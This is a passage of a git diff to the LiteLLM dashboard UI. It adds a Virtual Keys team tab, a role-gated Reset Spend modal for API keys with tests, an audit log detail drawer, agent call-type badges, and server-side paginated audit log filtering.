+ ); +} diff --git a/ui/litellm-dashboard/src/components/team/tabVisibilityUtils.test.ts b/ui/litellm-dashboard/src/components/team/tabVisibilityUtils.test.ts index 5a09b4fa36c..8b9a0402c9a 100644 --- a/ui/litellm-dashboard/src/components/team/tabVisibilityUtils.test.ts +++ b/ui/litellm-dashboard/src/components/team/tabVisibilityUtils.test.ts @@ -11,6 +11,7 @@ describe("team_info_tabs", () => { describe("TEAM_INFO_TAB_LABELS", () => { it("should have label for every tab key", () => { expect(TEAM_INFO_TAB_LABELS[TEAM_INFO_TAB_KEYS.OVERVIEW]).toBe("Overview"); + expect(TEAM_INFO_TAB_LABELS[TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS]).toBe("Virtual Keys"); expect(TEAM_INFO_TAB_LABELS[TEAM_INFO_TAB_KEYS.MEMBERS]).toBe("Members"); expect(TEAM_INFO_TAB_LABELS[TEAM_INFO_TAB_KEYS.MEMBER_PERMISSIONS]).toBe("Member Permissions"); expect(TEAM_INFO_TAB_LABELS[TEAM_INFO_TAB_KEYS.SETTINGS]).toBe("Settings"); @@ -18,15 +19,16 @@ describe("team_info_tabs", () => { }); describe("getTeamInfoVisibleTabs", () => { - it("returns only overview when user cannot edit team", () => { + it("returns overview and virtual keys when user cannot edit team", () => { const tabs = getTeamInfoVisibleTabs(false); - expect(tabs).toEqual([TEAM_INFO_TAB_KEYS.OVERVIEW]); + expect(tabs).toEqual([TEAM_INFO_TAB_KEYS.OVERVIEW, TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS]); }); it("returns all tabs when user can edit team", () => { const tabs = getTeamInfoVisibleTabs(true); expect(tabs).toEqual([ TEAM_INFO_TAB_KEYS.OVERVIEW, + TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS, TEAM_INFO_TAB_KEYS.MEMBERS, TEAM_INFO_TAB_KEYS.MEMBER_PERMISSIONS, TEAM_INFO_TAB_KEYS.SETTINGS, @@ -55,6 +57,19 @@ describe("team_info_tabs", () => { expect(isTeamInfoTabVisible(TEAM_INFO_TAB_KEYS.OVERVIEW, true)).toBe(true); }); + it("always returns true for virtual keys tab regardless of edit permission", () => { + expect(isTeamInfoTabVisible(TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS, false)).toBe(true); + expect(isTeamInfoTabVisible(TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS, true)).toBe(true); + }); + + it("returns false for member permissions tab when user cannot edit", () => { + expect(isTeamInfoTabVisible(TEAM_INFO_TAB_KEYS.MEMBER_PERMISSIONS, false)).toBe(false); + }); + + it("returns true for member permissions tab when user can edit", () => { + expect(isTeamInfoTabVisible(TEAM_INFO_TAB_KEYS.MEMBER_PERMISSIONS, true)).toBe(true); + }); + it("returns false for members tab when user cannot edit", () => { expect(isTeamInfoTabVisible(TEAM_INFO_TAB_KEYS.MEMBERS, false)).toBe(false); }); diff --git a/ui/litellm-dashboard/src/components/team/tabVisibilityUtils.ts b/ui/litellm-dashboard/src/components/team/tabVisibilityUtils.ts index d77230ea09b..dd0e54baf36 100644 --- a/ui/litellm-dashboard/src/components/team/tabVisibilityUtils.ts +++ b/ui/litellm-dashboard/src/components/team/tabVisibilityUtils.ts @@ -5,6 +5,7 @@ export const TEAM_INFO_TAB_KEYS = { OVERVIEW: "overview", + VIRTUAL_KEYS: "virtual-keys", MEMBERS: "members", MEMBER_PERMISSIONS: "member-permissions", SETTINGS: "settings", @@ -12,6 +13,7 @@ export const TEAM_INFO_TAB_KEYS = { export const TEAM_INFO_TAB_LABELS: Record = { [TEAM_INFO_TAB_KEYS.OVERVIEW]: "Overview", + [TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS]: "Virtual Keys", [TEAM_INFO_TAB_KEYS.MEMBERS]: "Members", [TEAM_INFO_TAB_KEYS.MEMBER_PERMISSIONS]: "Member Permissions", [TEAM_INFO_TAB_KEYS.SETTINGS]: "Settings", @@ -19,11 +21,11 @@ export const TEAM_INFO_TAB_LABELS: Record = { /** * Returns the list of tab keys that should be visible based on permissions. - * - Overview: always visible + * - Overview, Virtual Keys: always visible * - Members, Member Permissions, Settings: only when canEditTeam is true */ export function getTeamInfoVisibleTabs(canEditTeam: boolean): readonly string[] { - const baseTabs = [TEAM_INFO_TAB_KEYS.OVERVIEW]; + const baseTabs = [TEAM_INFO_TAB_KEYS.OVERVIEW, TEAM_INFO_TAB_KEYS.VIRTUAL_KEYS]; if (canEditTeam) { return [ ...baseTabs, diff --git a/ui/litellm-dashboard/src/components/templates/KeyInfoHeader.tsx b/ui/litellm-dashboard/src/components/templates/KeyInfoHeader.tsx index 1befd657843..93ebae9c4be 100644 --- a/ui/litellm-dashboard/src/components/templates/KeyInfoHeader.tsx +++ b/ui/litellm-dashboard/src/components/templates/KeyInfoHeader.tsx @@ -11,6 +11,7 @@ import { ClockCircleOutlined, ThunderboltOutlined, SafetyCertificateOutlined, + TransactionOutlined, } from "@ant-design/icons"; import LabeledField from "../common_components/LabeledField"; @@ -33,6 +34,7 @@ interface KeyInfoHeaderProps { onCreateNew?: () => void; onRegenerate?: () => void; onDelete?: () => void; + onResetSpend?: () => void; canModifyKey?: boolean; backButtonText?: string; regenerateDisabled?: boolean; @@ -45,6 +47,7 @@ export function KeyInfoHeader({ onCreateNew, onRegenerate, onDelete, + onResetSpend, canModifyKey = true, backButtonText = "Back to Keys", regenerateDisabled = false, @@ -84,6 +87,11 @@ export function KeyInfoHeader({ + {onResetSpend && ( + + )} diff --git a/ui/litellm-dashboard/src/components/templates/key_info_view.test.tsx b/ui/litellm-dashboard/src/components/templates/key_info_view.test.tsx index e58ccfbbfd1..f269ad96a27 100644 --- a/ui/litellm-dashboard/src/components/templates/key_info_view.test.tsx +++ b/ui/litellm-dashboard/src/components/templates/key_info_view.test.tsx @@ -5,6 +5,7 @@ import { renderWithProviders } from "../../../tests/test-utils"; import { screen, waitFor } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import { useResetKeySpend } from "@/app/(dashboard)/hooks/keys/useResetKeySpend"; import { KeyResponse, Team } from "../key_team_helpers/key_list"; import KeyInfoView from "./key_info_view"; @@ -28,6 +29,14 @@ vi.mock("../networking", () => ({ }), })); +const mockResetKeySpendMutate = vi.fn(); +vi.mock("@/app/(dashboard)/hooks/keys/useResetKeySpend", () => ({ + useResetKeySpend: vi.fn(() => ({ + mutate: mockResetKeySpendMutate, + isPending: false, + })), +})); + vi.mock("@/utils/dataUtils", () => ({ copyToClipboard: vi.fn().mockResolvedValue(true), formatNumberWithCommas: vi.fn((value: number, decimals?: number) => { @@ -539,4 +548,136 @@ describe("KeyInfoView", () => { expect(screen.getByText("Key not found")).toBeInTheDocument(); }); }); + + describe("Reset Spend button visibility", () => { + it("should show Reset Spend button for proxy admin", async () => { + vi.mocked(useTeams).mockReturnValue({ teams: [], setTeams: vi.fn() }); + vi.mocked(useAuthorized).mockReturnValue({ + ...baseUseAuthorizedMock, + userId: "proxy-admin-user", + userRole: "proxy_admin", + }); + + renderWithProviders( + { }} keyId={"test-key-id"} onKeyDataUpdate={() => { }} teams={[]} />, + ); + + await waitFor(() => { + expect(screen.getByRole("button", { name: /reset spend/i })).toBeInTheDocument(); + }); + }); + + it("should show Reset Spend button for team admin of key's team", async () => { + const teamId = "test-team-id"; + const teamAdminUserId = "team-admin-user"; + const mockTeam: Team = { + team_id: teamId, + team_alias: "Test Team", + models: [], + max_budget: null, + budget_duration: null, + tpm_limit: null, + rpm_limit: null, + organization_id: "org-1", + created_at: "2025-01-01T00:00:00Z", + keys: [], + members_with_roles: [{ user_id: teamAdminUserId, role: "admin" }], + spend: 0, + }; + + vi.mocked(useTeams).mockReturnValue({ teams: [mockTeam], setTeams: vi.fn() }); + vi.mocked(useAuthorized).mockReturnValue({ + ...baseUseAuthorizedMock, + userId: teamAdminUserId, + userRole: "user", + }); + + const keyData = { ...MOCK_KEY_DATA, team_id: teamId, user_id: "other-user-id" }; + renderWithProviders( + { }} keyId={"test-key-id"} onKeyDataUpdate={() => { }} teams={[]} />, + ); + + await waitFor(() => { + expect(screen.getByRole("button", { name: /reset spend/i })).toBeInTheDocument(); + }); + }); + + it("should not show Reset Spend button for regular key owner", async () => { + vi.mocked(useTeams).mockReturnValue({ teams: [], setTeams: vi.fn() }); + vi.mocked(useAuthorized).mockReturnValue({ + ...baseUseAuthorizedMock, + userId: "owner-user-id", + userRole: "user", + }); + + const keyData = { ...MOCK_KEY_DATA, user_id: "owner-user-id" }; + renderWithProviders( + { }} keyId={"test-key-id"} onKeyDataUpdate={() => { }} teams={[]} />, + ); + + await waitFor(() => { + expect(screen.queryByRole("button", { name: /reset spend/i })).not.toBeInTheDocument(); + }); + }); + }); + + describe("Reset Spend modal flow", () => { + it("should open confirmation modal when Reset Spend is clicked", async () => { + vi.mocked(useTeams).mockReturnValue({ teams: [], setTeams: vi.fn() }); + vi.mocked(useAuthorized).mockReturnValue({ + ...baseUseAuthorizedMock, + userId: "proxy-admin-user", + userRole: "proxy_admin", + }); + + renderWithProviders( + { }} keyId={"test-key-id"} onKeyDataUpdate={() => { }} teams={[]} />, + ); + + await waitFor(() => { + expect(screen.getByRole("button", { name: /reset spend/i })).toBeInTheDocument(); + }); + + await userEvent.click(screen.getByRole("button", { name: /reset spend/i })); + + await waitFor(() => { + expect(screen.getByText("Reset Key Spend")).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /^reset$/i })).toBeInTheDocument(); + }); + }); + + it("should call mutate with token on confirm", async () => { + vi.mocked(useTeams).mockReturnValue({ teams: [], setTeams: vi.fn() }); + vi.mocked(useAuthorized).mockReturnValue({ + ...baseUseAuthorizedMock, + userId: "proxy-admin-user", + userRole: "proxy_admin", + }); + + const keyDataWithSpend = { ...MOCK_KEY_DATA, spend: 5.0 }; + renderWithProviders( + { }} keyId={"test-key-id"} onKeyDataUpdate={() => { }} teams={[]} />, + ); + + await waitFor(() => { + expect(screen.getByRole("button", { name: /reset spend/i })).toBeInTheDocument(); + }); + + await userEvent.click(screen.getByRole("button", { name: /reset spend/i })); + + await waitFor(() => { + expect(screen.getByText("Reset Key Spend")).toBeInTheDocument(); + }); + + // Click the confirm button in the modal + await userEvent.click(screen.getByRole("button", { name: /^reset$/i })); + + await waitFor(() => { + expect(mockResetKeySpendMutate).toHaveBeenCalledWith( + MOCK_KEY_DATA.token, + expect.objectContaining({ onSuccess: expect.any(Function), onError: expect.any(Function) }), + ); + }); + }); + }); }); diff --git a/ui/litellm-dashboard/src/components/templates/key_info_view.tsx b/ui/litellm-dashboard/src/components/templates/key_info_view.tsx index 72895c4d617..6733cd6a595 100644 --- a/ui/litellm-dashboard/src/components/templates/key_info_view.tsx +++ b/ui/litellm-dashboard/src/components/templates/key_info_view.tsx @@ -6,7 +6,7 @@ import { formatNumberWithCommas } from "@/utils/dataUtils"; import { mapEmptyStringToNull } from "@/utils/keyUpdateUtils"; import { ArrowLeftIcon } from "@heroicons/react/outline"; import { Badge, Button, Card, Grid, Tab, TabGroup, TabList, TabPanel, TabPanels, Text, Title } from "@tremor/react"; -import { Form, Tag } from "antd"; +import { Form, Modal, Tag } from "antd"; import { KeyInfoHeader } from "./KeyInfoHeader"; import { useEffect, useState } from "react"; import { isProxyAdminRole, isUserTeamAdminForSingleTeam } from "../../utils/roles"; @@ -18,6 +18,7 @@ import { KeyResponse } from "../key_team_helpers/key_list"; import LoggingSettingsView from "../logging_settings_view"; import NotificationManager from "../molecules/notifications_manager"; import { getPolicyInfoWithGuardrails, keyDeleteCall, keyUpdateCall } from "../networking"; +import { useResetKeySpend } from "@/app/(dashboard)/hooks/keys/useResetKeySpend"; import ObjectPermissionsView from "../object_permissions_view"; import { RegenerateKeyModal } from "../organisms/regenerate_key_modal"; import { parseErrorMessage } from "../shared/errorUtils"; @@ -59,6 +60,8 @@ export default function KeyInfoView({ const [deleteLoading, setDeleteLoading] = useState(false); const [deleteConfirmInput, setDeleteConfirmInput] = useState(""); const [isRegenerateModalOpen, setIsRegenerateModalOpen] = useState(false); + const [isResetSpendModalOpen, setIsResetSpendModalOpen] = useState(false); + const { mutate: resetKeySpend, isPending: resetSpendLoading } = useResetKeySpend(); // Add local state to maintain key data and track regeneration const [currentKeyData, setCurrentKeyData] = useState(keyData); const [lastRegeneratedAt, setLastRegeneratedAt] = useState(null); @@ -337,6 +340,31 @@ export default function KeyInfoView({ )) || (userID === currentKeyData.user_id && userRole !== "Internal Viewer"); + const canResetSpend = + isProxyAdminRole(userRole || "") || + (teamsData && + isUserTeamAdminForSingleTeam( + teamsData?.filter((team) => team.team_id === currentKeyData.team_id)[0]?.members_with_roles, + userID || "", + )); + + const handleResetSpend = () => { + resetKeySpend(currentKeyData.token || currentKeyData.token_id, { + onSuccess: () => { + setCurrentKeyData((prevData) => (prevData ? { ...prevData, spend: 0 } : undefined)); + if (onKeyDataUpdate) { + onKeyDataUpdate({ spend: 0 }); + } + NotificationManager.success("Key spend reset to $0"); + setIsResetSpendModalOpen(false); + }, + onError: (error) => { + NotificationManager.fromBackend(parseErrorMessage(error)); + console.error("Error resetting key spend:", error); + }, + }); + }; + return (
setIsRegenerateModalOpen(true)} onDelete={() => setIsDeleteModalOpen(true)} + onResetSpend={canResetSpend ? () => setIsResetSpendModalOpen(true) : undefined} canModifyKey={canModifyKey} backButtonText={backButtonText} regenerateDisabled={!premiumUser} @@ -407,6 +436,26 @@ export default function KeyInfoView({ requiredConfirmation={currentKeyData?.key_alias} /> + {/* Reset Spend Confirmation Modal */} + setIsResetSpendModalOpen(false)} + okText="Reset" + okButtonProps={{ danger: true }} + confirmLoading={resetSpendLoading} + > +

+ Reset spend for {currentKeyData?.key_alias || currentKeyData?.token_id || "this key"} to{" "} + $0? +

+

+ Current spend: ${formatNumberWithCommas(currentKeyData.spend, 4)}. Spend history is + preserved in logs. This resets the current period spend counter, the same as an automatic budget reset. +

+ + Overview diff --git a/ui/litellm-dashboard/src/components/view_logs/AuditLogDrawer/AuditLogDrawer.tsx b/ui/litellm-dashboard/src/components/view_logs/AuditLogDrawer/AuditLogDrawer.tsx new file mode 100644 index 00000000000..19989ef4882 --- /dev/null +++ b/ui/litellm-dashboard/src/components/view_logs/AuditLogDrawer/AuditLogDrawer.tsx @@ -0,0 +1,260 @@ +import { Drawer, Tag, Typography } from "antd"; +import { CloseOutlined, CopyOutlined, CheckOutlined } from "@ant-design/icons"; +import { useState, useCallback } from "react"; +import moment from "moment"; +import { AuditLogEntry } from "../columns"; +import DefaultProxyAdminTag from "../../common_components/DefaultProxyAdminTag"; + +const { Text } = Typography; + +interface AuditLogDrawerProps { + open: boolean; + onClose: () => void; + log: AuditLogEntry | null; +} + +const TABLE_NAME_DISPLAY: Record = { + LiteLLM_VerificationToken: "Keys", + LiteLLM_TeamTable: "Teams", + LiteLLM_UserTable: "Users", + LiteLLM_OrganizationTable: "Organizations", + LiteLLM_ProxyModelTable: "Models", +}; + +const ACTION_COLOR: Record = { + created: "green", + updated: "blue", + deleted: "red", + rotated: "orange", +}; + +function CopyableJsonBlock({ label, value }: { label: string; value: Record }) { + const [copied, setCopied] = useState(false); + + const handleCopy = useCallback(async () => { + try { + const text = JSON.stringify(value, null, 2); + if (navigator.clipboard && window.isSecureContext) { + await navigator.clipboard.writeText(text); + } else { + const el = document.createElement("textarea"); + el.value = text; + el.style.position = "fixed"; + el.style.opacity = "0"; + document.body.appendChild(el); + el.focus(); + el.select(); + document.execCommand("copy"); + document.body.removeChild(el); + } + setCopied(true); + setTimeout(() => setCopied(false), 2000); + } catch (e) { + console.error("Copy failed:", e); + } + }, [value]); + + return ( +
+
+ {label} + +
+ 
+        {JSON.stringify(value, null, 2)}
+
+
+ ); +} + +function MetadataRow({ label, value }: { label: string; value: React.ReactNode }) { + return ( +
+ {label} + {value} +
+ ); +} + +function DiffSection({ log }: { log: AuditLogEntry }) { + const { action, table_name, before_value, updated_values } = log; + const isKeyTable = table_name === "LiteLLM_VerificationToken"; + const isUpdateAction = action === "updated" || action === "rotated"; + + let displayBefore = before_value; + let displayAfter = updated_values; + + if (isUpdateAction && before_value && updated_values) { + const changedBefore: Record = {}; + const changedAfter: Record = {}; + const allKeys = new Set([ + ...Object.keys(before_value), + ...Object.keys(updated_values), + ]); + + allKeys.forEach((key) => { + const bStr = JSON.stringify(before_value[key]); + const aStr = JSON.stringify(updated_values[key]); + if (bStr !== aStr) { + if (key in before_value) changedBefore[key] = before_value[key]; + if (key in updated_values) changedAfter[key] = updated_values[key]; + } + }); + + // Fields only in before (removed) + Object.keys(before_value).forEach((key) => { + if (!(key in updated_values) && !(key in changedBefore)) { + changedBefore[key] = before_value[key]; + changedAfter[key] = undefined; + } + }); + + // Fields only in after (added) + Object.keys(updated_values).forEach((key) => { + if (!(key in before_value) && !(key in changedAfter)) { + changedAfter[key] = updated_values[key]; + changedBefore[key] = undefined; + } + }); + + displayBefore = + Object.keys(changedBefore).length > 0 + ? changedBefore + : { note: "No differing fields detected" }; + displayAfter = + Object.keys(changedAfter).length > 0 + ? changedAfter + : { note: "No differing fields detected" }; + } + + const renderValue = (label: string, value: Record | null | undefined) => { + if (!value || Object.keys(value).length === 0) { + return ( +
+
+ {label} +
+

N/A

+
+ ); + } + + // For key table updates, show only meaningful fields as plain text + if (isKeyTable && isUpdateAction) { + const knownKeyFields = ["token", "spend", "max_budget"]; + const hasOnlyKnown = Object.keys(value).every((k) => knownKeyFields.includes(k)); + if (hasOnlyKnown && !("note" in value)) { + return ( +
+
+ {label} +
+
+ {value.token !== undefined && ( +

Token: {value.token ?? "N/A"}

+ )} + {value.spend !== undefined && ( +

Spend: ${Number(value.spend).toFixed(6)}

+ )} + {value.max_budget !== undefined && ( +

Max Budget: ${Number(value.max_budget).toFixed(6)}

+ )} +
+
+ ); + } + } + + return ; + }; + + return ( +
+ {renderValue("Before", displayBefore)} + {renderValue("After", displayAfter)} +
+ ); +} + +export function AuditLogDrawer({ open, onClose, log }: AuditLogDrawerProps) { + if (!log) return null; + + const tableDisplay = TABLE_NAME_DISPLAY[log.table_name] ?? log.table_name; + const actionColor = ACTION_COLOR[log.action] ?? "default"; + + return ( + + {/* Header */} +
+
+ + {log.action} + + + {moment.utc(log.updated_at).local().format("MMM D, YYYY HH:mm:ss")} + +
+ +
+ + {/* Body */} +
+ {/* Metadata */} +
+

+ Details +

+ + + {log.object_id} + + } + /> + } + /> + + {log.changed_by_api_key} + + ) : ( + "—" + ) + } + /> +
+ + {/* Diff */} + +
+ + ); +} diff --git a/ui/litellm-dashboard/src/components/view_logs/LogDetailsDrawer/LogDetailsDrawer.tsx b/ui/litellm-dashboard/src/components/view_logs/LogDetailsDrawer/LogDetailsDrawer.tsx index b1012642c38..036a24c045a 100644 --- a/ui/litellm-dashboard/src/components/view_logs/LogDetailsDrawer/LogDetailsDrawer.tsx +++ b/ui/litellm-dashboard/src/components/view_logs/LogDetailsDrawer/LogDetailsDrawer.tsx @@ -6,9 +6,9 @@ import { LeftOutlined, RightOutlined, } from "@ant-design/icons"; -import { Sparkles, Wrench } from "lucide-react"; +import { Bot, Sparkles, Wrench } from "lucide-react"; import { LogEntry } from "../columns"; -import { MCP_CALL_TYPES } from "../constants"; +import { AGENT_CALL_TYPES, MCP_CALL_TYPES } from "../constants"; import { getEventDisplayName } from "../utils"; import { DrawerHeader } from "./DrawerHeader"; import { useKeyboardNavigation } from "./useKeyboardNavigation"; @@ -46,6 +46,7 @@ interface TraceEventRowProps { function TraceEventRow({ row, isSelected, onClick }: TraceEventRowProps) { const isMcp = MCP_CALL_TYPES.includes(row.call_type); + const isAgent = AGENT_CALL_TYPES.includes(row.call_type); const durationValue = row.request_duration_ms != null ? (row.request_duration_ms / 1000).toFixed(3) @@ -64,6 +65,8 @@ function TraceEventRow({ row, isSelected, onClick }: TraceEventRowProps) {
{isMcp ? ( + ) : isAgent ? ( + ) : ( )} @@ -219,7 +222,10 @@ export function LogDetailsDrawer({ : null; const sessionDurationSeconds = sessionStart && sessionEnd ? ((sessionEnd.getTime() - sessionStart.getTime()) / 1000).toFixed(2) : "0.00"; - const llmCount = sessionLogs.filter((row) => !MCP_CALL_TYPES.includes(row.call_type)).length; + const llmCount = sessionLogs.filter( + (row) => !MCP_CALL_TYPES.includes(row.call_type) && !AGENT_CALL_TYPES.includes(row.call_type), + ).length; + const agentCount = sessionLogs.filter((row) => AGENT_CALL_TYPES.includes(row.call_type)).length; const mcpCount = sessionLogs.filter((row) => MCP_CALL_TYPES.includes(row.call_type)).length; const logsForList = isSessionMode ? sessionLogs : currentLog ? [currentLog] : []; const leftPanelId = isSessionMode ? sessionId || "" : currentLog?.request_id || ""; @@ -302,14 +308,25 @@ export function LogDetailsDrawer({
{logsForList.length} req - · - {isSessionMode - ? `${llmCount} LLM` - : `${logsForList.filter((row) => !MCP_CALL_TYPES.includes(row.call_type)).length} LLM`} - · - {isSessionMode - ? `${mcpCount} MCP` - : `${logsForList.filter((row) => MCP_CALL_TYPES.includes(row.call_type)).length} MCP`} + {[ + isSessionMode + ? llmCount + : logsForList.filter( + (row) => + !MCP_CALL_TYPES.includes(row.call_type) && !AGENT_CALL_TYPES.includes(row.call_type), + ).length, + isSessionMode ? agentCount : logsForList.filter((row) => AGENT_CALL_TYPES.includes(row.call_type)).length, + isSessionMode ? mcpCount : logsForList.filter((row) => MCP_CALL_TYPES.includes(row.call_type)).length, + ].map((count, i) => { + const label = [" LLM", " Agent", " MCP"][i]; + return count > 0 ? ( + + · + {count} + {label} + + ) : null; + })} · {isSessionMode ? getSpendString(totalSessionCost) diff --git a/ui/litellm-dashboard/src/components/view_logs/TypeBadges.tsx b/ui/litellm-dashboard/src/components/view_logs/TypeBadges.tsx index e4195ece9ec..70c71c7f255 100644 --- a/ui/litellm-dashboard/src/components/view_logs/TypeBadges.tsx +++ b/ui/litellm-dashboard/src/components/view_logs/TypeBadges.tsx @@ -1,5 +1,5 @@ /** - * Compact type-indicator badges for LLM and MCP log entries. + * Compact type-indicator badges for LLM, Agent, and MCP log entries. * Used in the request logs table and session type column. */ @@ -15,6 +15,18 @@ export const WrenchIcon = ({ size = 10 }: { size?: number }) => ( ); +/** Agent/bot icon for A2A and agent call types (Lucide Bot-style). */ +export const AgentIcon = ({ size = 12 }: { size?: number }) => ( + + + + + + + + +); + export const LlmBadge = ({ count }: { count?: number }) => ( @@ -28,3 +40,10 @@ export const McpBadge = ({ count }: { count?: number }) => ( {count != null ? count : "MCP"} ); + +export const AgentBadge = ({ count }: { count?: number }) => ( + + + {count != null ? count : "Agent"} + +); diff --git a/ui/litellm-dashboard/src/components/view_logs/audit_logs.tsx b/ui/litellm-dashboard/src/components/view_logs/audit_logs.tsx index 918447a6149..b16ba30049d 100644 --- a/ui/litellm-dashboard/src/components/view_logs/audit_logs.tsx +++ b/ui/litellm-dashboard/src/components/view_logs/audit_logs.tsx @@ -1,12 +1,15 @@ -import { DataTable } from "./table"; +import { useState } from "react"; +import { useQuery, keepPreviousData } from "@tanstack/react-query"; +import { Table, Tag, Input, Select, Button, Pagination, Spin } from "antd"; +import { ReloadOutlined, LoadingOutlined } from "@ant-design/icons"; +import type { ColumnsType } from "antd/es/table"; import moment from "moment"; -import { useRef, useState, useEffect, useCallback, useMemo } from "react"; -import { useQuery } from "@tanstack/react-query"; -import { uiAuditLogsCall, keyListCall } from "../networking"; -import { AuditLogEntry, auditLogColumns } from "./columns"; -import { Text } from "@tremor/react"; -import { Team } from "../key_team_helpers/key_list"; -import { formatNumberWithCommas } from "@/utils/dataUtils"; +import { uiAuditLogsCall } from "../networking"; +import { AuditLogEntry } from "./columns"; +import { AuditLogDrawer } from "./AuditLogDrawer/AuditLogDrawer"; +import DefaultProxyAdminTag from "../common_components/DefaultProxyAdminTag"; + +const { Search } = Input; interface AuditLogsProps { accessToken: string | null; @@ -15,12 +18,28 @@ interface AuditLogsProps { userID: string | null; isActive: boolean; premiumUser: boolean; - allTeams: Team[]; } const asset_logos_folder = "../ui/assets/"; export const auditLogsPreviewImg = `${asset_logos_folder}audit-logs-preview.png`; +const TABLE_NAME_DISPLAY: Record = { + LiteLLM_VerificationToken: "Keys", + LiteLLM_TeamTable: "Teams", + LiteLLM_UserTable: "Users", + LiteLLM_OrganizationTable: "Organizations", + LiteLLM_ProxyModelTable: "Models", +}; + +const ACTION_COLOR: Record = { + created: "green", + updated: "blue", + deleted: "red", + rotated: "orange", +}; + +const PAGE_SIZE = 50; + export default function AuditLogs({ userID, userRole, @@ -28,413 +47,133 @@ export default function AuditLogs({ accessToken, isActive, premiumUser, - allTeams, }: AuditLogsProps) { - const [startTime, setStartTime] = useState(moment().subtract(24, "hours").format("YYYY-MM-DDTHH:mm")); + const [page, setPage] = useState(1); - const actionFilterRef = useRef(null); - const tableFilterRef = useRef(null); - const [clientCurrentPage, setClientCurrentPage] = useState(1); - const [pageSize] = useState(50); - const [filters, setFilters] = useState>({}); - const [selectedTeamId, setSelectedTeamId] = useState(""); - const [selectedKeyHash, setSelectedKeyHash] = useState(""); - const [objectIdSearch, setObjectIdSearch] = useState(""); - const [selectedActionFilter, setSelectedActionFilter] = useState("all"); - const [selectedTableFilter, setSelectedTableFilter] = useState("all"); - const [actionFilterOpen, setActionFilterOpen] = useState(false); - const [tableFilterOpen, setTableFilterOpen] = useState(false); + // Filter state + const [objectId, setObjectId] = useState(""); + const [changedBy, setChangedBy] = useState(""); + const [keyHash, setKeyHash] = useState(""); + const [teamId, setTeamId] = useState(""); + const [action, setAction] = useState(undefined); + const [tableName, setTableName] = useState(undefined); - const allLogsQuery = useQuery({ - queryKey: ["all_audit_logs", accessToken, token, userRole, userID, startTime], + // Drawer state + const [selectedLog, setSelectedLog] = useState(null); + const [drawerOpen, setDrawerOpen] = useState(false); + + const query = useQuery({ + queryKey: [ + "audit_logs", + page, + PAGE_SIZE, + objectId, + changedBy, + keyHash, + teamId, + action, + tableName, + ], queryFn: async () => { if (!accessToken || !token || !userRole || !userID) { - return []; + return { audit_logs: [], total: 0, page: 1, page_size: PAGE_SIZE, total_pages: 0 }; } - - const formattedStartTimeStr = moment(startTime).utc().format("YYYY-MM-DD HH:mm:ss"); - const formattedEndTimeStr = moment().utc().format("YYYY-MM-DD HH:mm:ss"); - - let accumulatedLogs: AuditLogEntry[] = []; - let currentPageToFetch = 1; - let totalPagesFromBackend = 1; - const backendPageSize = 50; - - do { - const response = await uiAuditLogsCall( - accessToken, - formattedStartTimeStr, - formattedEndTimeStr, - currentPageToFetch, - backendPageSize, - ); - accumulatedLogs = accumulatedLogs.concat(response.audit_logs); - totalPagesFromBackend = response.total_pages; - currentPageToFetch++; - } while (currentPageToFetch <= totalPagesFromBackend); - - return accumulatedLogs; + return uiAuditLogsCall({ + accessToken, + page, + page_size: PAGE_SIZE, + params: { + object_id: objectId || undefined, + changed_by: changedBy || undefined, + object_key_hash: keyHash || undefined, + object_team_id: teamId || undefined, + action: action || undefined, + table_name: tableName || undefined, + sort_by: "updated_at", + sort_order: "desc", + }, + }); }, enabled: !!accessToken && !!token && !!userRole && !!userID && isActive, - refetchInterval: 5000, - refetchIntervalInBackground: true, + placeholderData: keepPreviousData, }); - const handleRefresh = () => { - allLogsQuery.refetch(); + const resetPage = () => setPage(1); + + const handleRowClick = (log: AuditLogEntry) => { + setSelectedLog(log); + setDrawerOpen(true); }; - const handleFilterChange = (newFilters: Record) => { - setFilters(newFilters); - }; - - const handleFilterReset = () => { - setFilters({}); - setSelectedTeamId(""); - setSelectedKeyHash(""); - setObjectIdSearch(""); - setSelectedActionFilter("all"); - setSelectedTableFilter("all"); - setClientCurrentPage(1); - }; - - const fetchKeyHashForAlias = useCallback( - async (keyAlias: string) => { - if (!accessToken) return; - - try { - const response = await keyListCall(accessToken, null, null, keyAlias, null, null, 1, 10); - - const selectedKey = response.keys.find((key: any) => key.key_alias === keyAlias); - - if (selectedKey) { - setSelectedKeyHash(selectedKey.token); - } else { - setSelectedKeyHash(""); - } - } catch (error) { - console.error("Error fetching key hash for alias:", error); - setSelectedKeyHash(""); - } + const columns: ColumnsType = [ + { + title: "Timestamp", + dataIndex: "updated_at", + key: "updated_at", + width: 200, + render: (val: string) => ( + + {moment.utc(val).local().format("MMM D, YYYY HH:mm:ss")} + + ), }, - [accessToken], - ); - - useEffect(() => { - if (!accessToken) return; - - let teamIdChanged = false; - let keyHashChanged = false; - - if (filters["Team ID"]) { - if (selectedTeamId !== filters["Team ID"]) { - setSelectedTeamId(filters["Team ID"]); - teamIdChanged = true; - } - } else { - if (selectedTeamId !== "") { - setSelectedTeamId(""); - teamIdChanged = true; - } - } - - if (filters["Key Hash"]) { - if (selectedKeyHash !== filters["Key Hash"]) { - setSelectedKeyHash(filters["Key Hash"]); - keyHashChanged = true; - } - } else if (filters["Key Alias"]) { - fetchKeyHashForAlias(filters["Key Alias"]); - } else { - if (selectedKeyHash !== "") { - setSelectedKeyHash(""); - keyHashChanged = true; - } - } - - if (teamIdChanged || keyHashChanged) { - setClientCurrentPage(1); - } - }, [filters, accessToken, fetchKeyHashForAlias, selectedTeamId, selectedKeyHash]); - - useEffect(() => { - setClientCurrentPage(1); - }, [selectedTeamId, selectedKeyHash, startTime, objectIdSearch, selectedActionFilter, selectedTableFilter]); - - useEffect(() => { - function handleClickOutside(event: MouseEvent) { - if (actionFilterRef.current && !actionFilterRef.current.contains(event.target as Node)) { - setActionFilterOpen(false); - } - if (tableFilterRef.current && !tableFilterRef.current.contains(event.target as Node)) { - setTableFilterOpen(false); - } - } - - document.addEventListener("mousedown", handleClickOutside); - return () => document.removeEventListener("mousedown", handleClickOutside); - }, []); - - const completeFilteredLogs = useMemo(() => { - if (!allLogsQuery.data) return []; - return allLogsQuery.data.filter((log) => { - let matchesTeam = true; 